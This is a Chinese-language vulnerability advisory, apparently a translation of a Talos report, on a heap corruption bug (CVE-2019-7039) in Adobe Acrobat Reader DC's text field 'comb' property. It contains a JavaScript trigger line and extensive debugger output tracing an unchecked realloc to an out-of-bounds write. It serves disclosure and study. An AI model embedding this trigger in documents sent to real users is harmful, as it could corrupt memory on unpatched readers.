Adobe Acrobat Reader DC文字欄位“comb”屬性遠端程式碼執行漏洞分析(CVE-2019-7039)
概述
在Adobe Acrobat Reader DC 2019.8.20071版本中開啟PDF文件時,嵌入在PDF檔案中的特定JavaScript程式碼可能會導致堆損壞。攻擊者如果對記憶體進行仔細的操作,可能會導致任意程式碼執行。為了觸發此漏洞,受害者需要開啟惡意檔案或訪問惡意網頁。
測試版本
Adobe Acrobat Reader DC 2019.8.20071
產品URL
CVSSv3評分
8.8 – CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE
CWE252:未經檢查的返回值
漏洞詳情
Adobe Acrobat Reader是當今市場上最受歡迎且功能最為豐富的PDF閱讀器。Adobe Acrobat Reader具有龐大的使用者群體,通常是系統上預設的PDF閱讀器。該軟體還支援整合到Web瀏覽器中,作為渲染PDF的一個外掛。因此,攻擊者只需欺騙使用者訪問惡意網頁,或發出特製的電子郵件附件,就足以觸發此漏洞。
Adobe Acrobat Reader DC支援PDF中的嵌入式JavaScript程式碼,以允許互動式PDF表單。這使得潛在的攻擊者能夠精確控制記憶體佈局,並獲得額外的攻擊面。
在執行以下程式碼時,可能會發生任意記憶體越界訪問:
app.activeDocs[0].getField('txt1')['charLimit'] = 0xed000; app.activeDocs[0].getField('txt1')['comb'] = {};
在處理PDF中的文字欄位時,如果comb屬性設定為true,渲染的文字欄位將會被拆分為不同的框(Box),文字欄位中的每個字元都將放在它們對應的框之中。框的數量由charLimit屬性控制。因此,我們將charLimit屬性設定為一個較大的值,最終可以導致越界記憶體訪問(Out-of-bounds Memory Access)。具體來說,越界訪問發生在以下程式碼中:
Breakpoint 5 hit eax=540f0ba0 ebx=0c229a98 ecx=001400d4 edx=00007532 esi=410d8ff0 edi=410d8fe0 eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0nv up ei pl zr na pe nc cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488movssdword ptr [eax+ecx*4],xmm0 ds:002b:545f0ef0=c0c0c0c0[0] 1:009> u AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488movssdword ptr [eax+ecx*4],xmm0 6b5c53f0 ff83e4010000incdword ptr [ebx+1E4h][1] 6b5c53f6 8b4708moveax,dword ptr [edi+8] 6b5c53f9 8945f4movdword ptr [ebp-0Ch],eax 6b5c53fc 8b470cmoveax,dword ptr [edi+0Ch] 6b5c53ff 8945f8movdword ptr [ebp-8],eax 6b5c5402 8d45f4leaeax,[ebp-0Ch] 6b5c5405 50pusheax 1:009> dd eax 540f0ba03aded289 418c0e56 3aded289 3f000000 540f0bb03b5ed289 418c0e56 3b5ed289 3f000000 540f0bc03ba71de7 418c0e56 3ba71de7 3f000000 540f0bd03bded289 418c0e56 3bded289 3f000000 540f0be03c0b4396 418c0e56 3c0b4396 3f000000 540f0bf03c28c155 418c0e56 3c28c155 3f000000 540f0c003c449ba6 418c0e56 3c449ba6 3f000000 540f0c103c6075f7 418c0e56 3c6075f7 3f000000 1:009> !heap -p -a eax[2] address 540f0ba0 found in _DPH_HEAP_ROOT @ e71000 in busy allocation (DPH_HEAP_BLOCK:UserAddrUserSize -VirtAddrVirtSize) 43870b94:540f0ba0500460 -540f0000502000 6d67abb0 verifier!VerifierDisableFaultInjectionExclusionRange+0x000034c0 6d67b07e verifier!VerifierDisableFaultInjectionExclusionRange+0x0000398e 772c34bc ntdll!RtlpNtSetValueKey+0x000041cc 7726e01a ntdll!RtlCaptureStackContext+0x0000f16a 77221453 ntdll!RtlReAllocateHeap+0x00000043 74bc1320 ucrtbase!realloc_base+0x00000030 6b5c579a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0015111e[3] 6b5b0328 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013bcac 6b5d9881 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00165205 6b5d9238 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164bbc 6b5d90b3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164a37 6b5d8ce3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164667 6b5d89d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0016435b 6b5d75ae AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162f32 6b5d704a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001629ce 6b60e0db AcroRd32!CTJPEGDecoderRelease+0x0002436b 6b5d6cc3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162647 6b5d63db AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00161d5f 6b6e78fc AcroRd32!CTJPEGDecoderRelease+0x000fdb8c 6b6e69e3 AcroRd32!CTJPEGDecoderRelease+0x000fcc73 6b4714d9 AcroRd32!DllCanUnloadNow+0x0001fcaf 6b470fa5 AcroRd32!DllCanUnloadNow+0x0001f77b 6b470d56 AcroRd32!DllCanUnloadNow+0x0001f52c 6b411267 AcroRd32!AcroWinMainSandbox+0x000077f1 7554be6b USER32!AddClipboardFormatListener+0x0000049b 7554833a USER32!DispatchMessageW+0x0000097a 75547bee USER32!DispatchMessageW+0x0000022e 755479d0 USER32!DispatchMessageW+0x00000010 6b46ffca AcroRd32!DllCanUnloadNow+0x0001e7a0 6b46fd92 AcroRd32!DllCanUnloadNow+0x0001e568 6b40a359 AcroRd32!AcroWinMainSandbox+0x000008e3 6b409c2d AcroRd32!AcroWinMainSandbox+0x000001b7
當斷點在[0]位置被觸發時,我們可以看到,我們正在寫入由ecx索引的eax指向的緩衝區,然後在[2]的位置,我們看到緩衝區的分配位置以及它的大小是足夠大的。在[1]的位置,我們也看到最終在ecx中的索引有所增加。
該程式碼迴圈多次,會受到前面設定的charLimit屬性限制。最終,索引將會持續增加,從而使得緩衝區的大小小於實際需要的空間,這時將會採用不同的路徑,這將會導致呼叫realloc,也就是我們在[3]中看到的相同位置。具體程式碼如下:
.text:601E577F leaeax, [ecx+1388h] .text:601E5785 mov[ebx+1D8h], eax .text:601E578B shleax, 3 .text:601E578E pusheax .text:601E578F pushdword ptr [ebx+1DCh] .text:601E5795 callindirect_realloc .text:601E579A mov[ebx+1DCh], eax[4]
在[4]的位置,realloc返回的指標將儲存在ebx+1dc中,這是指向[0]中使用的緩衝區的指標。請注意,在這裡並沒有檢查此realloc呼叫的返回值。由於這一呼叫增加了緩衝區的大小(最終由charLimit值控制),因此對malloc的呼叫可能會失敗。未經檢查的NULL值將被寫入到緩衝區指標,程式碼迴圈到[0]。通常情況下,這隻會導致NULL指標取消引用,但由於ecx中的索引越來越大,並且可能會達到4倍,所以我們可以控制NULL取消引用的偏移量,從而導致任意寫入問題。實際上,如果我們移除斷點,則會到只有以下崩潰:
(21d4.157c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=0c229a98 ecx=003ae9fc edx=00007532 esi=410d8ff0 edi=410d8fe0 eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0nv up ei pl zr na pe nc cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00010246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488movssdword ptr [eax+ecx*4],xmm0 ds:002b:00eba7f0=???????? 1:009> dd ecx*4 00eba7f0???????? ???????? ???????? ???????? 00eba800???????? ???????? ???????? ???????? 00eba810???????? ???????? ???????? ???????? 00eba820???????? ???????? ???????? ???????? 00eba830???????? ???????? ???????? ???????? 00eba840???????? ???????? ???????? ???????? 00eba850???????? ???????? ???????? ???????? 00eba860???????? ???????? ???????? ????????
請注意,在上面的除錯輸出中,eax為NULL,但ecx足夠大,可以到達使用者區的記憶體。啟用頁面堆的概念證明展示了這一崩潰的發生。通過進一步的儲存器控制,可以更精確地選擇重新分配失敗的緩衝區大小,從而可以控制寫入。這可能會導致進一步的記憶體損壞和任意程式碼執行。
時間線
·2018年11月20日 向廠商披露
· 2019年2月12日 公開發布
貢獻
本漏洞由Cisco Talos的Aleksandar Nikolic發現。